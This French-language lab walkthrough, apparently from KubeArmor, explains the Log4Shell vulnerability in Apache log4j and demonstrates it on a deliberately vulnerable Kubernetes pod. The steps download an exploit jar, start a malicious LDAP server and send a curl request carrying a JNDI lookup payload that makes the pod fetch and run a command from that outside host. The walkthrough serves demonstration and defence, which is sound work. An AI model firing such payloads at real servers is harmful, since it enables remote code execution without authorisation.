kubearmor/log4j-cve-2021-44228Vulnérabilité Zero Day d'Apache Log4j alias Log4Shell alias CVE-2021-44228
Le 9 décembre 2021, le monde a eu connaissance d'une nouvelle vulnérabilité identifiée sous le nom de CVE-2021-44228, affectant le package de journalisation Java Apache log4j. Cette vulnérabilité a obtenu un score de sévérité de 10,0 (la désignation la plus critique) et offre une exécution de code à distance triviale sur les hôtes utilisant un logiciel qui exploite cette version de log4j. « Log4Shell » est le nom donné à cette attaque.
Aujourd'hui, log4j version 2.15.0rc2 est disponible et corrige cette vulnérabilité. Cependant, le danger immense de cette vulnérabilité provient de l'omniprésence du package de journalisation. Des millions d'applications ainsi que des fournisseurs de logiciels utilisent ce package comme dépendance dans leur propre code.
Première détection connue : 2021-12-01 04:36:50 UTC
Versions affectées :
Qui est concerné ?
Impact : Exécution de code arbitraire en tant qu'utilisateur du processus parent (code récupéré depuis Internet public, ou lolbins déjà présents sur le système, ou simplement récupération de secrets partagés ou de variables d'environnement et leur renvoi à l'attaquant).
Cibles : Serveurs et clients qui exécutent Java et qui journalisent quoi que ce soit en utilisant le framework log4j – principalement une préoccupation côté serveur, mais tout point de terminaison vulnérable peut être une cible ou un point de pivot.
Projets en aval : Jusqu'à preuve du contraire, considérez que tout ce qui inclut log4j – y compris Elasticsearch, Apache Struts / Solr / Druid / Flink, etc. – est affecté d'une manière nécessitant une atténuation.
Versions affectées : log4j 2.x confirmé – log4j 1.x seulement indirectement (vulnérabilités précédentes de divulgation d'informations) (dans certaines configurations)
Appareils : N'oubliez pas les appareils pouvant utiliser des composants serveur Java, mais qui ne seront pas détectés par un scan de vulnérabilité non authentifié.
Transfert de journaux : L'infrastructure de journalisation a souvent de nombreuses topologies de transfert/relais « nord » (envoyer mes journaux à quelqu'un) et « sud » (recevoir des journaux de quelqu'un). Leur enchaînement pour l'exploitation doit également être pris en compte.
Cloud : Plusieurs grands fournisseurs sont également affectés (une liste communautaire des logiciels et services vulnérables à CVE-2021-44228 peut être trouvée dans ce dépôt GitHub).
Étape n°1 : Déploiement d'un pod avec les services associés vulnérables à Log4j dans Kubernetes
git clone https://github.com/kubearmor/log4j-cve && cd log4j-cve
kubectl apply -f deploy-log4j-k8s.yaml
kubectl get po,svc
NAME READY STATUS RESTARTS AGE
pod/log4j-demo-5d7c84d8b9-vs8ck 1/1 Running 0 1h30m
NAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGE
service/kubernetes ClusterIP 10.112.0.1 <none> 443/TCP 4h44m
service/log4j-svc LoadBalancer 10.112.8.158 35.241.165.36 80:30202/TCP 1h30m
Veuillez noter que nous avons déployé l'application exemple Log4Shell vulnérable dans l'espace de noms
default
Étape n°2 : Téléchargement du serveur LDAP malveillant
wget https://log4j-knox.s3.amazonaws.com/JNDIExploit-1.2-SNAPSHOT.jar
Étape n°3 : Démarrage du serveur LDAP pour le trafic entrant sur votre PC ou VM Cloud
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i [<votre-ip-privée>] -p 8888
L'IP privée peut être obtenue avec
hostname -I.
Assurez-vous que votre pare-feu autorise le trafic pour les ports1389et8888
Étape n°4 : Exploitation avec la commande cURL
# curl <protocole://ip-victime:port> -H 'X-Api-Version: ${jndi:ldap://<ip-serveur-malveillant>:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'
curl http://35.241.165.36 -H 'X-Api-Version: ${jndi:ldap://34.135.86.213:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'
Ici, la 1ère IP est notre IP externe k8s (Étape n°1) où l'application exemple vulnérable est en cours d'exécution.
La 2ème IP est l'IP externe du serveur LDAP malveillant (Étape n°2)
Étape n°5 : Confirmation en vérifiant la création du fichier /tmp/pwned
kubectl exec -it --namespace default log4j-demo-5d7c84d8b9-vs8ck -- watch -n 2 ls /tmp
Remplacez
log4j-demo-5d7c84d8b9-vs8ckpar votre pod issu de la sortie de l'Étape n°1.
Vous devriez voir un fichier créé nommépwneddans le répertoire/tmp.
KubeArmor est une plateforme de sécurité au moment de l'exécution qui peut aider les équipes Sécurité/DevSecOps à protéger leurs charges de travail à l'aide de contrôles basés sur l'application/le système (comme limiter le lancement de processus, limiter l'accès au système de fichiers, limiter les capacités des pods, etc.). KubeArmor dispose d'un mode de visibilité grâce auquel l'équipe applicative/de sécurité peut activer la visibilité et ainsi comprendre ce qui se passe à l'intérieur des pods, c'est-à-dire quels processus sont lancés, quels accès fichiers sont tentés, etc. Le plus grand avantage de KubeArmor est qu'en tant qu'utilisateur, vous pouvez également soumettre des politiques qui peuvent empêcher/bloquer/refuser ces opérations système.